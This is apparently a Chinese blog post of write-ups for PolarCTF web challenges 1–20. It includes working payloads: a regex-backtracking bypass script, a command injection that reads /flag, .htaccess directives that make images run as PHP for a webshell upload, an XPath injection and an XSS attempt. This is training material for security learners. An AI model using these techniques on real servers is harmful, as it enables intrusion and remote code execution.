Polar WEB(1-20)
SWP
据说swp是vim编辑器非正常退出产生的文件。怎么利用呢?
用dirsearch扫描出/.index.php.swp
function jiuzhe($xdmtql) {return preg_match('/sys.*nb/is',$xdmtql);
}
$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)) {if(!jiuzhe($xdmtql)) {if(strpos($xdmtql,'sys nb')!==false) {echo 'flag{*******}';} else {echo 'true .swp file?';}} else {echo 'nijilenijile';}
}
这里了解到利用了正则回溯上限这个知识点,一旦匹配的字符串太长,就会直接返回false防止超负荷运转。
所以可以利用这一点构造payload。
参考polar CTF web简单 - kriton - 博客园。这里必须不能太大数字,不然报错。
import requestsurl = 'http://fd6dfdd7-68bc-4cf2-a0d6-f3aa664b1be9.www.polarctf.com:8090/'
data = {'xdmtql': 'sys nb'+'very' * 250000
}r = requests.post(url=url, data=data).text
print(r)
简单RCE
根据WP是采用include 绕过(因为过滤了空格)
元甲大佬的做法:
?sys=echo%09`ca''t%09/flag`;
上传
不允许上传php文件,尝试上传图片抓包。
也不太行,怀疑是有了过滤。
查看得知是Apache服务器,可以考虑上传htaccess
未过滤它,先设置为默认解析gif为php,上传gif,没有回显。response有个<?,怀疑是这个被过滤了,那么只能考虑绕过了。
polar 上传 - adotdot - 博客园
参考WP,只需base编码图片马即可。
但是这里上传htaccess的时候提示内容不能有file。小知识:\表示换行,在这里可以绕过。
好了,蚁剑链接即可
.htaccess文件内容:必须换行
也可以用AddHandler,就可以不用FileMatch:
.htaccess文件:
AddType application/x-httpd-php .jpg
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=shell.jpg"
<FilesMatch "\.jpg">SetHandler application/x-httpd-php
</FilesMatch>
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=1.jpg"
到底给不给flag呢
看了PolarD&N-CTF-web方向-中等_polarctf web 解题-CSDN博客提示
应该是代码审计,这个flag是错误的。怀疑有其他的php文件,因为这些代码是远远不够
看一下知道了,首先需要让post和get有一个含有flag
利用foreach的特点,构造flag变量应该。但是只要get传了一个flag,肯定会被你覆盖
也是再次参考了每日一题 —— [PolarCTF]到底给不给flag呢 - Sxrhhh 的个人小站
了解到可以在这里下功夫,利用临时变量先存储flag再说,第二个foreach是障眼法
也可以看出来web主要还是不要固化自己的思维,在一些操作点多思考,发散思维。
写shell
查看代码注意到file_put_content,文件名称利用get,php连接符是.,所以要试着将exit函数绕过。
看了WP知道可以利用编码进行绕过/每日一题 —— [PolarCTF]写shell - Sxrhhh 的个人小站
如果我们将其认为是一段 base64 编码的话,他会被省略无关字符,变为
phpexit
,一共七个字符。那么如果我们转换为原始文本,为了不影响后面的 payload 的转换,按照 4:3 的转换标准,我们需要补上一个合法字符凑齐 4 的倍数
根据wp构造即可,关键是base解码绕过exit
PHP是世界上最好的语言
通过这道题,我学到了:
1.$_POST本身也是个变量
题目不允许我们在get、post直接传flag1、flag2,但是必须有这俩参数,那要怎么做呢?
看extract函数,是将$_POST变量的数组键值对转换为变量赋值,如下所示:
parse_str($_SERVER['QUERY_STRING']);这个语句也刚好可以利用起来。
所以可以利用这两个函数来进行构造
但是这里的变量不能加引号!
蜜雪冰城吉警店
看源码必须是id=9,与其分析加密逻辑,不如直接改其中一个奶茶id=9
注入
估计是一个盲注。报错不会回显,应该是数字型注入
好吧,是Xpath注入。Xpath注入主要是有个]在后面,我们需要将它的节点列出来
我还得不断学习xpath。这里的|类似于SQL的union!然后不断扩大节点。
payload:1']|//*|//*['
召唤神龙
翻看源码,发现main.js出现一串加密,很可疑
解密后是flag
seek flag
访问robots.txt拿到
flag3:c0ad71dadd11}
接着寻找前两段flag,抓包看看
响应体找到了Flag2: 3ca8737a70f029d
就只剩下flag1,观察到请求里有cookie: id=0。将id改为1得到flag1:flag{7ac5b
拼接即可。
JWT
利用工具找到密钥
JWT其实是用于身份验证,伪造jwt即可
点击个人中心即可(必须是手动劫持)
非常好绕的命令执行
看代码,接受了3个参数,绕过了很多东西,而且不能全是空白,以及必须是由可打印字符构成。那也就是绕这些东西。
还是参考了Polar靶场 非常好绕的命令执行-CSDN博客
需要在payload处下功夫,首先传入参数看看自己猜想是否正确。即三个参数的相对位置
是这种情况,我们需要将后面的括号删掉,最好的办法就是注释掉。然后主要构造1 和 2即可。
可以看到大概思路对了,那么接下来就是思考绕过的事情了。
需要学习的知识:空格绕过也可以用<重定向符,以及``执行命令!
login
只有一登录框,看注释输入2020010即可登陆成功
看样子也不是sql注入
polarctf靶场【web】login、被黑掉的站、GET-POST、网站被黑、robots_polarctf login-CSDN博客
看WP才知道原来最后几位数字会输出flag。这也启示写web一定要注意输入不能太合法合规了哈哈。
本以为会很长,也不长。
这又是一个上传(待更新)
主要参考:Polar 这又是一个上传_这又是一个上传 polar-CSDN博客
(这个webshell管理工具叫做游魂)
是前端校验,禁用JS即可绕过
用户组不是root
php_info的flag是错误,因此需要提权
今天才看书学到了SUID提权,拿来试试
等待更新
iphone
从这里就反应过来是不是要改UA,于是搜索一下iphone的UA即可
Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1
$$
逻辑很简单,flag.php有flag,关键是怎么利用$$获得值。
其实我这里新学了PHP的特性:GLOBALS超全局数组
爆破
听名字就是要爆破
看样子是要构建一个MD5,难道我们拿出这个md5再进行一个个尝试吗?先这样做看看
但是这样绝对做不了,所以从md5特性考虑,由于有一个做了除数,不能再用0e的方法,我们可以试试别的
卧槽,看了WP还真的是爆破,不能够用特性了
【Web】记录Polar靶场<简单>难度题一遍过(全)_polar靶场 jwt-CSDN博客
用BP爆破吧
XFF
搜索到xff是请求头和代理有关的,点开题目看看
提示这玩意:
那用X-Forwarded-For即可
rce1
知道使用命令连接符,但是不要忘记加上IP
| 只执行第二个命令
|| 先执行第一个命令若成功则继续执行第二个命令
& 不管第一个命令是否执行成功都会执行第二个命令
&& 必须两个命令都成功才能执行
; 类似&
【Web】记录Polar靶场<简单>难度题一遍过(全)_polar靶场 jwt-CSDN博客
踩坑的是最后在注释里面
浮生日记
进去之后提示说是弹个窗看,估计是XSS
看来我的xss还是不太熟练,看了WP
polarctf靶场【web】swp、召唤神龙、浮生日记、干正则_polarctf swp-CSDN博客
c初步判断是过滤了尖括号。
其实不是,看了半天才知道这里出问题了
<input name=keyword value="<a ="java:alert(1)"/> ">
我们试着闭合value即可.还要双写绕过。